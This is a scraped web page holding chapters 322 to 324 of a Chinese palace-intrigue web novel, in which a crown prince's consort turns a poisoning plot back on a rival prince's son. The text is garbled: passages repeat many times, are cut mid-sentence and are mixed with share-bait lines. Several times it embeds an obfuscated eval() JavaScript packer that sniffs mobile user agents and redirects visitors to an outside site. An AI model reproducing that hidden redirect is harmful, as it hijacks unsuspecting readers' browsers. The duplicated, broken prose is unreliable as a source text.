“太子连自己的女人都管不好?这个悍妇居然敢打吾儿!”虞贵妃捏着帕子心疼地擦着眼泪。 裴墨染的心跳不断加速惊慌不已。 就差一点点。 倘若他再晚来一会儿飞霜就会挨打紧接着蛮蛮说不定也会被二人欺辱…… “皇嫂管教你你就好好受着!觉得巴掌不好看本宫再赏你一巴掌两边对称了就好看了。”裴墨染的手落在睿王的肩膀上。 他的手像是铁钳掐着肩膀的力道不断加深指尖陡泛着乳白色。 睿王龇牙咧嘴地呻吟“啊……疼、疼……放开本王!” “你放开吾儿!太子当众欺凌我们母子信不信本宫去找陛下!”虞贵妃眼中浸透着怨恨。 云清婳颔首“好啊!咱们一起去正好把事情说道说道!” 虞贵妃的唇瓣都在颤抖。 这件事他们并不占理。 “你们究竟想如何?”虞贵妃恨得牙根痒痒。 “道歉!”裴墨染道。 睿王感觉肩膀都快废了他疼得眼泪都快掉出来 云清婳又道:“跟飞霜道歉!” “凭什么!吾儿凭 什么跟贱婢道歉?”虞贵妃的声音变得尖锐,哭声破碎。 睿王快要疼晕过去,他感觉骨头好像快被刑具夹碎了,“嘶……好,对不住,飞霜,对不住。” “呵。”飞霜高高扬起脸,轻蔑地睨他。 裴墨染这才松开睿王。 松手的瞬间,睿王得到了解脱,他双腿一软,瘫坐在地上,“呃……” 裴墨染拍了拍手上并不存在的灰尘,垂眸,居高临下地警告:“五皇弟,对皇嫂要敬重,否则下次本宫真把你的肩膀卸了。” 他的声音很轻,却掷地有声。 让睿王、虞贵妃心中一颤,他们知道裴墨染绝对不是说说而已。 “你们会遭报应的!”虞贵妃蹲在地上查看睿王的伤势,心疼得不已。 睿王的眼珠抬起,阴鸷地看着他们,像极了蛰伏在暗处的毒蛇。 云清婳冷嘁。 上书房内忽然传出了惊呼。 “不好了,不好了……皇孙**了!” “快传太医!” “断气了!啊……怎么就断气了?” 不断有宫女、太监惊慌地跑了出来。 裴墨染蹙眉,他快步跑进上书房查看。 虞贵妃破涕为笑,她的眼皮子向上一翻,“你们仗势欺人,老天爷都看不过去了哈哈哈……” 睿王扯出抹邪气的笑,“皇嫂,你还杵在这里作甚?快去收尸吧!” “我们本就没说错,一对贱种在不该出生的日子出生,承受不住福报,就会夭折短命!”虞贵妃一脸得意,“云清婳,你敢对天发誓你没催产吗?可怜孩子被你克死!” “真是毒妇!自己害自己的孩子!有你这种母亲,孩子真可怜!”睿王坏笑着。 云清婳冷笑,“你们怎么知道出事的是谁?毒不会是你们下的吧?” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 什么跟贱婢道歉?”虞贵妃的声音变得尖锐,哭声破碎。 睿王快要疼晕过去,他感觉骨头好像快被刑具夹碎了,“嘶……好,对不住,飞霜,对不住。” “呵。”飞霜高高扬起脸,轻蔑地睨他。 裴墨染这才松开睿王。 松手的瞬间,睿王得到了解脱,他双腿一软,瘫坐在地上,“呃……” 裴墨染拍了拍手上并不存在的灰尘,垂眸,居高临下地警告:“五皇弟,对皇嫂要敬重,否则下次本宫真把你的肩膀卸了。” 他的声音很轻,却掷地有声。 让睿王、虞贵妃心中一颤,他们知道裴墨染绝对不是说说而已。 “你们会遭报应的!”虞贵妃蹲在地上查看睿王的伤势,心疼得不已。 睿王的眼珠抬起,阴鸷地看着他们,像极了蛰伏在暗处的毒蛇。 云清婳冷嘁。 上书房内忽然传出了惊呼。 “不好了,不好了……皇孙**了!” “快传太医!” “断气了!啊……怎么就断气了?” 不断有宫女、太监惊慌地跑了出来。 裴墨染蹙眉,他快步跑进上书房查看。 虞贵妃破涕为笑,她的眼皮子向上一翻,“你们仗势欺人,老天爷都看不过去了哈哈哈……” 睿王扯出抹邪气的笑,“皇嫂,你还杵在这里作甚?快去收尸吧!” “我们本就没说错,一对贱种在不该出生的日子出生,承受不住福报,就会夭折短命!”虞贵妃一脸得意,“云清婳,你敢对天发誓你没催产吗?可怜孩子被你克死!” “真是毒妇!自己害自己的孩子!有你这种母亲,孩子真可怜!”睿王坏笑着。 云清婳冷笑,“你们怎么知道出事的是谁?毒不会是你们下的吧?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 什么跟贱婢道歉?虞贵妃的声音变得尖锐,哭声破碎。 睿王快要疼晕过去,他感觉骨头好像快被刑具夹碎了,“嘶……好,对不住,飞霜,对不住。 “呵。飞霜高高扬起脸,轻蔑地睨他。 裴墨染这才松开睿王。 松手的瞬间,睿王得到了解脱,他双腿一软,瘫坐在地上,“呃…… 裴墨染拍了拍手上并不存在的灰尘,垂眸,居高临下地警告:“五皇弟,对皇嫂要敬重,否则下次本宫真把你的肩膀卸了。 他的声音很轻,却掷地有声。 让睿王、虞贵妃心中一颤,他们知道裴墨染绝对不是说说而已。 “你们会遭报应的!虞贵妃蹲在地上查看睿王的伤势,心疼得不已。 睿王的眼珠抬起,阴鸷地看着他们,像极了蛰伏在暗处的毒蛇。 云清婳冷嘁。 上书房内忽然传出了惊呼。 “不好了,不好了……皇孙**了! “快传太医! “断气了!啊……怎么就断气了? 不断有宫女、太监惊慌地跑了出来。 裴墨染蹙眉,他快步跑进上书房查看。 虞贵妃破涕为笑,她的眼皮子向上一翻,“你们仗势欺人,老天爷都看不过去了哈哈哈…… 睿王扯出抹邪气的笑,“皇嫂,你还杵在这里作甚?快去收尸吧! “我们本就没说错,一对贱种在不该出生的日子出生,承受不住福报,就会夭折短命!虞贵妃一脸得意,“云清婳,你敢对天发誓你没催产吗?可怜孩子被你克死! “真是毒妇!自己害自己的孩子!有你这种母亲,孩子真可怜!睿王坏笑着。 云清婳冷笑,“你们怎么知道出事的是谁?毒不会是你们下的吧? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 什么跟贱婢道歉?”虞贵妃的声音变得尖锐,哭声破碎。 睿王快要疼晕过去,他感觉骨头好像快被刑具夹碎了,“嘶……好,对不住,飞霜,对不住。” “呵。”飞霜高高扬起脸,轻蔑地睨他。 裴墨染这才松开睿王。 松手的瞬间,睿王得到了解脱,他双腿一软,瘫坐在地上,“呃……” 裴墨染拍了拍手上并不存在的灰尘,垂眸,居高临下地警告:“五皇弟,对皇嫂要敬重,否则下次本宫真把你的肩膀卸了。” 他的声音很轻,却掷地有声。 让睿王、虞贵妃心中一颤,他们知道裴墨染绝对不是说说而已。 “你们会遭报应的!”虞贵妃蹲在地上查看睿王的伤势,心疼得不已。 睿王的眼珠抬起,阴鸷地看着他们,像极了蛰伏在暗处的毒蛇。 云清婳冷嘁。 上书房内忽然传出了惊呼。 “不好了,不好了……皇孙**了!” “快传太医!” “断气了!啊……怎么就断气了?” 不断有宫女、太监惊慌地跑了出来。 裴墨染蹙眉,他快步跑进上书房查看。 虞贵妃破涕为笑,她的眼皮子向上一翻,“你们仗势欺人,老天爷都看不过去了哈哈哈……” 睿王扯出抹邪气的笑,“皇嫂,你还杵在这里作甚?快去收尸吧!” “我们本就没说错,一对贱种在不该出生的日子出生,承受不住福报,就会夭折短命!”虞贵妃一脸得意,“云清婳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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睿王快要疼晕过去,他感觉骨头好像快被刑具夹碎了,“嘶……好,对不住,飞霜,对不住。” “呵。”飞霜高高扬起脸,轻蔑地睨他。 裴墨染这才松开睿王。 松手的瞬间,睿王得到了解脱,他双腿一软,瘫坐在地上,“呃……” 裴墨染拍了拍手上并不存在的灰尘,垂眸,居高临下地警告:“五皇弟,对皇嫂要敬重,否则下次本宫真把你的肩膀卸了。” 他的声音很轻,却掷地有声。 让睿王、虞贵妃心中一颤,他们知道裴墨染绝对不是说说而已。 “你们会遭报应的!”虞贵妃蹲在地上查看睿王的伤势,心疼得不已。 睿王的眼珠抬起,阴鸷地看着他们,像极了蛰伏在暗处的毒蛇。 云清婳冷嘁。 上书房内忽然传出了惊呼。 “不好了,不好了……皇孙**了!” “快传太医!” “断气了!啊……怎么就断气了?” 不断有宫女、太监惊慌地跑了出来。 裴墨染蹙眉,他快步跑进上书房查看。 虞贵妃破涕为笑,她的眼皮子向上一翻,“你们仗势欺人,老天爷都看不过去了哈哈哈……” 睿王扯出抹邪气的笑,“皇嫂,你还杵在这里作甚?快去收尸吧!” “我们本就没说错,一对贱种在不该出生的日子出生,承受不住福报,就会夭折短命!”虞贵妃一脸得意,“云清婳,你敢对天发誓你没催产吗?可怜孩子被你克死!” “真是毒妇!自己害自己的孩子!有你这种母亲,孩子真可怜!”睿王坏笑着。 云清婳冷笑,“你们怎么知道出事的是谁?毒不会是你们下的吧?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 什么跟贱婢道歉?虞贵妃的声音变得尖锐,哭声破碎。 睿王快要疼晕过去,他感觉骨头好像快被刑具夹碎了,“嘶……好,对不住,飞霜,对不住。 “呵。 裴墨染这才松开睿王。 松手的瞬间,睿王得到了解脱,他双腿一软,瘫坐在地上,“呃…… 裴墨染拍了拍手上并不存在的灰尘,垂眸,居高临下地警告:“五皇弟,对皇嫂要敬重,否则下次本宫真把你的肩膀卸了。 他的声音很轻,却掷地有声。 让睿王、虞贵妃心中一颤,他们知道裴墨染绝对不是说说而已。 “你们会遭报应的!虞贵妃蹲在地上查看睿王的伤势,心疼得不已。 睿王的眼珠抬起,阴鸷地看着他们,像极了蛰伏在暗处的毒蛇。 云清婳冷嘁。 上书房内忽然传出了惊呼。 “不好了,不好了……皇孙**了! “快传太医! “断气了!啊……怎么就断气了? 不断有宫女、太监惊慌地跑了出来。 裴墨染蹙眉,他快步跑进上书房查看。 虞贵妃破涕为笑,她的眼皮子向上一翻,“你们仗势欺人,老天爷都看不过去了哈哈哈…… 睿王扯出抹邪气的笑,“皇嫂,你还杵在这里作甚?快去收尸吧! “我们本就没说错,一对贱种在不该出生的日子出生,承受不住福报,就会夭折短命!虞贵妃一脸得意,“云清婳,你敢对天发誓你没催产吗?可怜孩子被你克死! “真是毒妇!自己害自己的孩子!有你这种母亲,孩子真可怜!睿王坏笑着。 云清婳冷笑,“你们怎么知道出事的是谁?毒不会是你们下的吧? 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第323章 不见棺材不掉泪 虞贵妃眼珠子一转,她找补道:“能闹出这么大的动静,除了皇太孙还有谁?云清婳,你就算不想接受儿女**,也别见人就咬,变成疯狗啊。” 就在这时,胡尚杰拄着拐杖,连喘带跑地朝他们走来。 他呼哧呼哧地喘着气。 “瞧!胡太傅都来找你了,除了你儿子还有谁?呵呵呵……”虞贵妃指着胡尚杰发出愉悦的笑声。 睿王也低沉地笑了,“天理轮回,报应不爽!你们非要霸占胡太傅,现在好了,胡太傅要属于我们宇儿了。” 云清婳好整以暇地看着他们。 他们倘若知道回旋镖马上要扎到自己身上,会做出什么表情呢? 过了好一会儿,胡尚杰终于走到了他们面前。 他正欲张嘴,虞贵妃便道:“本宫知道,皇太孙出事了是吧?真让人揪心啊!太医怎么这么久还没来?” “是啊!太医院这帮酒囊饭袋,关键时刻,总是找不到人。”睿王假装着急。 其实,太医院的太医早被他们找事绊住了。 胡尚杰着急不已,气喘吁吁道:“不是、不是……” 虞贵妃瞥着云清婳,像是福至心灵,“哦,对了,不只是皇太孙出事了对吧?还有辞忧郡主!” “呦呦呦……真是太惨了!一连两个孩子出事,皇兄跟皇嫂得多伤心啊!本王也为人父,明白这种心情!”睿王连装都不想装了,一副幸灾乐祸的模样。 胡尚杰急得跺脚,“不是啊,出事的是您的皇儿!” 睿王脸上的笑容僵住了。 “呵……胡说什么呢?你老糊涂了吧?”虞贵妃脸上的笑也逐渐消失。 胡尚杰指着门内,“老夫不敢骗人!您们快进去看看啊……” 睿王腾的从地上起身,他冷嗤,“本王看你是不敢跟太子妃说明真相,所以故意咒我们吧!” “放肆!人人都当我们母子好欺负是吧?本宫一定会让圣上砍你的脑袋!”虞贵妃的表情狰狞。 云清婳应景想到了一句话——不见棺材不落泪。 她挤出悲戚的表情,把他们方才的话如数奉还:“睿王、虞贵妃,你们还是快进去看看吧,说不定能见孩子最后一面!” “呸呸呸!我们宇儿好好的 ,云清婳,你积点德吧!你快进去看看吧,当心孩子的最后一面都见不着!”虞贵妃嘴依旧很硬,眼神却时不时望着门口。 睿王重重甩袖,“你这个老匹夫,稀里糊涂,说话颠三倒四,父皇居然还准你进宫授课!到时候本王一定让父皇给宇儿换个先生!” 正说着,裴墨染抱着辞忧、承基从门中走了出来。 两个孩子一人手里捏着一块花生酥,正香喷喷地吃着。 油腻的糕渣都掉到了裴墨染的**袍上。 云清婳眼前一亮,“你们的下巴漏了吗?糕渣掉了爹爹一身。” 她捏着帕子给孩子擦嘴。 两个小奶包闻言咯咯直笑。 裴墨染柔声道:“无妨。让他们吃些点心压压惊。” 看到承基、辞忧活灵活现地出现在眼前,睿王、虞贵妃的下巴都快惊掉了。 “不是**了吗?毒这么快就解了?”虞贵妃瞪圆了眼睛,指着他们怔怔地问。 睿王的脸一抽一抽的,脸色渐渐变白。 裴墨染瞬间想通了什么,眼神夹杂着玩味,“是啊,是**了,不过**的是宇儿。” “你骗人!”睿王咆哮。 “是不是骗人,你进去看看不就知道了?”裴墨染懒得争辩,薄唇掀起不明显弧度。 云清婳阴阳怪气道:“五皇弟,快进去看看吧!我也为人母,很理解你的心情,但你再不进去,看不到孩子的最后一面该怎么办?” “胡说什么呢?我是不会去看的!我的宇儿好好的,我看什么看?”睿王怒吼,“出事的一定是六皇弟或者七皇弟的儿子!没错,一定是这样!” 虞贵妃的眼圈红了,她想进去查看,可睿王抓住她的手腕,“母妃,不要中了小人的奸计!” “宇哥哥**了!嘴里吐了好多白沫。”辞忧歪着脑袋道。 承基淡淡的补充道:“脸也变紫了。” 睿王的眼眶瞬间充盈着水光,“不可能!有意思吗?你们两个大人还联合孩子吓唬我!四皇兄,你太过分了!” 裴墨染、云清婳就像在看两个小丑,懒得争辩,眼底蕴着嘲讽。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是。箬竹态度果决,她立即带了一帮得力助手下去。 裴墨染道:“父皇,还有一个疑点。方才太医迟迟不来,否则宇儿还有治愈的可能。没想到幕后之人,做得这么绝,不留退路。 睿王的眼泪啪嗒落下,他的身子轻颤了下。 皇上的表情变得讥诮,眼神复杂,他冷不丁道:“真狠啊! 睿王的心脏突突直跳,简直快从嗓子眼里跳出来。 第324章 太子妃不适合当皇后? 云清婳捏着帕子擦了擦眼泪“求父皇严查此毒若是真被承基、辞忧服下后果不堪设想。他们还不到三岁啊!” 皇上冰冷的脸上果然出现了‘裂痕’露出了一丝心疼。 “父皇太子妃巧言善辩莫要被她迷惑了!毒怎会这般准确无误地下给了宇儿?”睿王的眼中闪烁着怨毒。 云清婳瞥着他不卑不亢道:“睿王何必攀咬我?查清楚毒的来源一切不就真相大白了?这种毒太监可以吃孩子却不能吃 这话如同一道惊雷将睿王快要劈碎。 睿王的眼神飘忽起来他的心发慌“父皇宇儿已经得了木僵查出真凶如同大海捞针事已至此算了吧。” “怎么能算了?凶手可是冲着承基、辞忧来的。”云清婳奚落地睨着他。 裴墨染也笑道:“是啊五皇弟方才不还喊打喊杀的?怎么一提到查证毒的来源突然就改变心意了?” 睿王如鲠在喉他的嘴半张着却吐不出一个字。 皇上叹了口气“算了吧。” “……”睿王松了口气。 可下一句话却让睿王再次红了眼。“老五即日起离京吧。东临郡是个养病的好去处!日后无召不必回京了。” 睿王怔住了他哽咽道:“为何啊?父皇……” “一定要朕把话说明白吗?”皇上疲惫地捏了捏鼻梁他沉声反问。 睿王瞬间明白了惊恐地伏地叩首。 云清婳毫不惊讶。 果然皇上早就猜到真相了。 睿王搬起石头砸了自己的脚。 “朕不是可怜你是可怜宇儿!”皇上的眼眸浑浊了不少整个人像是苍老了好几岁。 “是。”睿王带着哭腔应声“儿臣告退。” 他颤颤巍巍地走出御书房像是被人抽走了魂儿。 裴墨染扶起云清婳他宽慰道:“蛮蛮别怕父皇心中有数。” “嗯。”她解气地颔首。 皇上不悦地夹了裴墨染一眼“太子妃退下太子留下。” 裴墨染心中迷茫。 云清婳走后皇上的眼神倏地释放出戾气疏离的气场骤然勃发“太子此事你怎么看 ?” “睿王意图谋害皇太孙结果自食恶果也算遭了报应。父皇念在祖孙之情的份上宽恕了睿王儿臣不敢有异议。”裴墨染不遮不掩地说出心里的看法。 皇上冷不丁的笑了他轻蔑地瞥了他一眼“蠢货防着点太子妃吧。” “……”裴墨染一怔。 但很快他就想清楚了皇上的意思。 皇上的意思是蛮蛮也参与了此事。 蛮蛮将计就计间接害了宇儿? “作为太子妃、作为母亲她的确优秀但也该止步于此了。此女下手太狠毫无仁爱之心你玩不过她。”皇上缓缓地说。 言下之意便是云清婳不适合成为皇后。 裴墨染不明白为何父皇这么评价蛮蛮。 蛮蛮的为人 但他懒得争辩他模棱两可道:“儿臣受教了。” 皇上一眼便看穿了他的心思。 他转动着拇指上的翡翠扳指冷笑道:“不听朕的话早晚有你好受的。” “……”裴墨染没有应声。 皇上掀起眼皮表情逐渐严肃“墨染。” “父皇。”裴墨染有些困惑。 皇上许久没有唤过他的名字了。 皇上看着他的眼睛脸上的线条在这一刻都变得柔软了“墨染答应朕一件事。” 裴墨染的心中升起一丝异样的感觉。 皇上还是第一次用这般和颜悦色、温柔的表情与他讲话。 他道:“父皇请讲。” “无论如何将来留云澈一命。”皇上紧紧盯着他。 裴墨染的眸子微滞嘴角掀起自嘲的笑。 他究竟在期待什么呢? 父皇的温柔、慈爱从不是对他的。 “……” 尽管不愿答应可裴墨染有说不的权利? “放心朕会为你扫清最后的障碍很公平。”皇上晦涩道。 裴墨染的心脏一震他眼中流露出几分惊愕。 真被蛮蛮猜对了。 皇上的身子恐怕真的不行了。 几乎同时裴墨染的心中升起陡然出现了一抹难言的不忍与揪心之感。 可他回想了下 他与皇上之间没什么父子亲情。 这种悲伤的感觉瞬间消失殆尽。 他会有这种情绪可能只是出于从小被灌输的孝道吧。 “多谢父皇。”裴墨染恭敬地跪下叩首。 皇上摆摆手“朕乏了退下吧。” “是。” …… 玄音阁。 云清婳躺在贵妃榻上烦闷地揉着太阳穴“皇后被禁足反而不好下手了。皇上哪里是惩罚?分明在保护皇后。” 飞霜倏地笑了“听闻皇后病了病死最好!” “那就太便宜她了。”云清婳看着庭院中孩子在嬉闹心中满是大仇得报的解气感。 睿王跟虞贵妃痛苦吗? 那就对了! 别说什么宇儿是无辜的她从来不是好人。 报复人是无下限的! 睿王想要她孩子的命她就要睿王孩子的命。 以眼还眼以牙还牙她的逻辑就是这么简单! 飞霜顺着她的眼神看去登时猜到她心中所想“真是什么都瞒不过皇上的法眼!可皇上既然知道睿王的所作所为会不会也知道咱们的计谋?” “知道又如何?是睿王先犯贱的怪不到我身上来。”她冷笑。 飞霜却笑不出来“就怕殿下知道了真相会在心里多想。” 正说着门外传来孩子的声音。 “爹爹……” 裴墨染挨个将他们抱了抱“今日吓到没有?” 两个孩子茫然地摇头。 他们不知道有什么好怕的。 裴墨染放心了“初生牛犊不怕虎玩去吧。” 他走进寝殿示意众人退下。 飞霜麻利地将门窗阖上遂带人离开。 “蛮蛮没事吧?”他坐到她身边心疼地握住她的手。 云清婳道:“我没事夫君方才在上书房外是虞贵妃跟睿王……” 他摇摇头“不必说了 裴墨染话锋一转严厉道:“日后不准了!我早说了派两个侍卫保护你你不答应!你当谁都是你男人?任你打骂?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,他与皇上之间没什么父子亲情。 这种悲伤的感觉瞬间消失殆尽。 他会有这种情绪,可能只是出于从小被灌输的孝道吧。 “多谢父皇。”裴墨染恭敬地跪下叩首。 皇上摆摆手,“朕乏了,退下吧。” “是。” …… 玄音阁。 云清婳躺在贵妃榻上,烦闷地揉着太阳穴,“皇后被禁足,反而不好下手了。皇上哪里是惩罚?分明在保护皇后。” 飞霜倏地笑了,“听闻皇后病了,病死最好!” “那就太便宜她了。”云清婳看着庭院中孩子在嬉闹,心中满是大仇得报的解气感。 睿王跟虞贵妃痛苦吗? 那就对了! 别说什么宇儿是无辜的,她从来不是好人。 报复人是无下限的! 睿王想要她孩子的命,她就要睿王孩子的命。 以眼还眼以牙还牙,她的逻辑就是这么简单! 飞霜顺着她的眼神看去,登时猜到她心中所想,“真是什么都瞒不过皇上的法眼!可皇上既然知道睿王的所作所为,会不会也知道咱们的计谋?” “知道又如何?是睿王先犯贱的,怪不到我身上来。”她冷笑。 飞霜却笑不出来,“就怕殿下知道了真相,会在心里多想。” 正说着,门外传来孩子的声音。 “爹爹……” 裴墨染挨个将他们抱了抱,“今日吓到没有?” 两个孩子茫然地摇头。 他们不知道有什么好怕的。 裴墨染放心了,“初生牛犊不怕虎,玩去吧。” 他走进寝殿,示意众人退下。 飞霜麻利地将门窗阖上,遂带人离开。 “蛮蛮,没事吧?”他坐到她身边,心疼地握住她的手。 云清婳道:“我没事,夫君,方才在上书房外是虞贵妃跟睿王……” 他摇摇头,“不必说了,我知道你的为人,定是他们有错,你才出手。” 裴墨染话锋一转,严厉道:“日后不准了!我早说了,派两个侍卫保护你,你不答应!你当谁都是你男人?任你打骂?” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ,他与皇上之间没什么父子亲情。 这种悲伤的感觉瞬间消失殆尽。 他会有这种情绪,可能只是出于从小被灌输的孝道吧。 “多谢父皇。裴墨染恭敬地跪下叩首。 皇上摆摆手,“朕乏了,退下吧。 “是。 …… 玄音阁。 云清婳躺在贵妃榻上,烦闷地揉着太阳穴,“皇后被禁足,反而不好下手了。皇上哪里是惩罚?分明在保护皇后。 飞霜倏地笑了,“听闻皇后病了,病死最好! “那就太便宜她了。云清婳看着庭院中孩子在嬉闹,心中满是大仇得报的解气感。 睿王跟虞贵妃痛苦吗? 那就对了! 别说什么宇儿是无辜的,她从来不是好人。 报复人是无下限的! 睿王想要她孩子的命,她就要睿王孩子的命。 以眼还眼以牙还牙,她的逻辑就是这么简单! 飞霜顺着她的眼神看去,登时猜到她心中所想,“真是什么都瞒不过皇上的法眼!可皇上既然知道睿王的所作所为,会不会也知道咱们的计谋? “知道又如何?是睿王先犯贱的,怪不到我身上来。她冷笑。 飞霜却笑不出来,“就怕殿下知道了真相,会在心里多想。 正说着,门外传来孩子的声音。 “爹爹…… 裴墨染挨个将他们抱了抱,“今日吓到没有? 两个孩子茫然地摇头。 他们不知道有什么好怕的。 裴墨染放心了,“初生牛犊不怕虎,玩去吧。 他走进寝殿,示意众人退下。 飞霜麻利地将门窗阖上,遂带人离开。 “蛮蛮,没事吧?他坐到她身边,心疼地握住她的手。 云清婳道:“我没事,夫君,方才在上书房外是虞贵妃跟睿王…… 他摇摇头,“不必说了,我知道你的为人,定是他们有错,你才出手。 裴墨染话锋一转,严厉道:“日后不准了!我早说了,派两个侍卫保护你,你不答应!你当谁都是你男人?任你打骂? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,他与皇上之间没什么父子亲情。 这种悲伤的感觉瞬间消失殆尽。 他会有这种情绪,可能只是出于从小被灌输的孝道吧。 “多谢父皇。”裴墨染恭敬地跪下叩首。 皇上摆摆手,“朕乏了,退下吧。” “是。” …… 玄音阁。 云清婳躺在贵妃榻上,烦闷地揉着太阳穴,“皇后被禁足,反而不好下手了。皇上哪里是惩罚?分明在保护皇后。” 飞霜倏地笑了,“听闻皇后病了,病死最好!” “那就太便宜她了。”云清婳看着庭院中孩子在嬉闹,心中满是大仇得报的解气感。 睿王跟虞贵妃痛苦吗? 那就对了! 别说什么宇儿是无辜的,她从来不是好人。 报复人是无下限的! 睿王想要她孩子的命,她就要睿王孩子的命。 以眼还眼以牙还牙,她的逻辑就是这么简单! 飞霜顺着她的眼神看去,登时猜到她心中所想,“真是什么都瞒不过皇上的法眼!可皇上既然知道睿王的所作所为,会不会也知道咱们的计谋?” “知道又如何?是睿王先犯贱的,怪不到我身上来。”她冷笑。 飞霜却笑不出来,“就怕殿下知道了真相,会在心里多想。” 正说着,门外传来孩子的声音。 “爹爹……” 裴墨染挨个将他们抱了抱,“今日吓到没有?” 两个孩子茫然地摇头。 他们不知道有什么好怕的。 裴墨染放心了,“初生牛犊不怕虎,玩去吧。” 他走进寝殿,示意众人退下。 飞霜麻利地将门窗阖上,遂带人离开。 “蛮蛮,没事吧?”他坐到她身边,心疼地握住她的手。 云清婳道:“我没事,夫君,方才在上书房外是虞贵妃跟睿王……” 他摇摇头,“不必说了,我知道你的为人,定是他们有错,你才出手。” 裴墨染话锋一转,严厉道:“日后不准了!我早说了,派两个侍卫保护你,你不答应!你当谁都是你男人?任你打骂?” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ,他与皇上之间没什么父子亲情。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297891|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种悲伤的感觉瞬间消失殆尽。 他会有这种情绪,可能只是出于从小被灌输的孝道吧。 “多谢父皇。裴墨染恭敬地跪下叩首。 皇上摆摆手,“朕乏了,退下吧。 “是。 …… 玄音阁。 云清婳躺在贵妃榻上,烦闷地揉着太阳穴,“皇后被禁足,反而不好下手了。皇上哪里是惩罚?分明在保护皇后。 飞霜倏地笑了,“听闻皇后病了,病死最好! “那就太便宜她了。云清婳看着庭院中孩子在嬉闹,心中满是大仇得报的解气感。 睿王跟虞贵妃痛苦吗? 那就对了! 别说什么宇儿是无辜的,她从来不是好人。 报复人是无下限的! 睿王想要她孩子的命,她就要睿王孩子的命。 以眼还眼以牙还牙,她的逻辑就是这么简单! 飞霜顺着她的眼神看去,登时猜到她心中所想,“真是什么都瞒不过皇上的法眼!可皇上既然知道睿王的所作所为,会不会也知道咱们的计谋? “知道又如何?是睿王先犯贱的,怪不到我身上来。她冷笑。 飞霜却笑不出来,“就怕殿下知道了真相,会在心里多想。 正说着,门外传来孩子的声音。 “爹爹…… 裴墨染挨个将他们抱了抱,“今日吓到没有? 两个孩子茫然地摇头。 他们不知道有什么好怕的。 裴墨染放心了,“初生牛犊不怕虎,玩去吧。 他走进寝殿,示意众人退下。 飞霜麻利地将门窗阖上,遂带人离开。 “蛮蛮,没事吧?他坐到她身边,心疼地握住她的手。 云清婳道:“我没事,夫君,方才在上书房外是虞贵妃跟睿王…… 他摇摇头,“不必说了,我知道你的为人,定是他们有错,你才出手。 裴墨染话锋一转,严厉道:“日后不准了!我早说了,派两个侍卫保护你,你不答应!你当谁都是你男人?任你打骂? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,他与皇上之间没什么父子亲情。 这种悲伤的感觉瞬间消失殆尽。 他会有这种情绪,可能只是出于从小被灌输的孝道吧。 “多谢父皇。”裴墨染恭敬地跪下叩首。 皇上摆摆手,“朕乏了,退下吧。” “是。” …… 玄音阁。 云清婳躺在贵妃榻上,烦闷地揉着太阳穴,“皇后被禁足,反而不好下手了。皇上哪里是惩罚?分明在保护皇后。” 飞霜倏地笑了,“听闻皇后病了,病死最好!” “那就太便宜她了。”云清婳看着庭院中孩子在嬉闹,心中满是大仇得报的解气感。 睿王跟虞贵妃痛苦吗? 那就对了! 别说什么宇儿是无辜的,她从来不是好人。 报复人是无下限的! 睿王想要她孩子的命,她就要睿王孩子的命。 以眼还眼以牙还牙,她的逻辑就是这么简单! 飞霜顺着她的眼神看去,登时猜到她心中所想,“真是什么都瞒不过皇上的法眼!可皇上既然知道睿王的所作所为,会不会也知道咱们的计谋?” “知道又如何?是睿王先犯贱的,怪不到我身上来。”她冷笑。 飞霜却笑不出来,“就怕殿下知道了真相,会在心里多想。” 正说着,门外传来孩子的声音。 “爹爹……” 裴墨染挨个将他们抱了抱,“今日吓到没有?” 两个孩子茫然地摇头。 他们不知道有什么好怕的。 裴墨染放心了,“初生牛犊不怕虎,玩去吧。” 他走进寝殿,示意众人退下。 飞霜麻利地将门窗阖上,遂带人离开。 “蛮蛮,没事吧?”他坐到她身边,心疼地握住她的手。 云清婳道:“我没事,夫君,方才在上书房外是虞贵妃跟睿王……” 他摇摇头,“不必说了,我知道你的为人,定是他们有错,你才出手。” 裴墨染话锋一转,严厉道:“日后不准了!我早说了,派两个侍卫保护你,你不答应!你当谁都是你男人?任你打骂?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 ,他与皇上之间没什么父子亲情。 这种悲伤的感觉瞬间消失殆尽。 他会有这种情绪,可能只是出于从小被灌输的孝道吧。 “多谢父皇。裴墨染恭敬地跪下叩首。 皇上摆摆手,“朕乏了,退下吧。 “是。 …… 玄音阁。 云清婳躺在贵妃榻上,烦闷地揉着太阳穴,“皇后被禁足,反而不好下手了。皇上哪里是惩罚?分明在保护皇后。 飞霜倏地笑了,“听闻皇后病了,病死最好! “那就太便宜她了。云清婳看着庭院中孩子在嬉闹,心中满是大仇得报的解气感。 睿王跟虞贵妃痛苦吗? 那就对了! 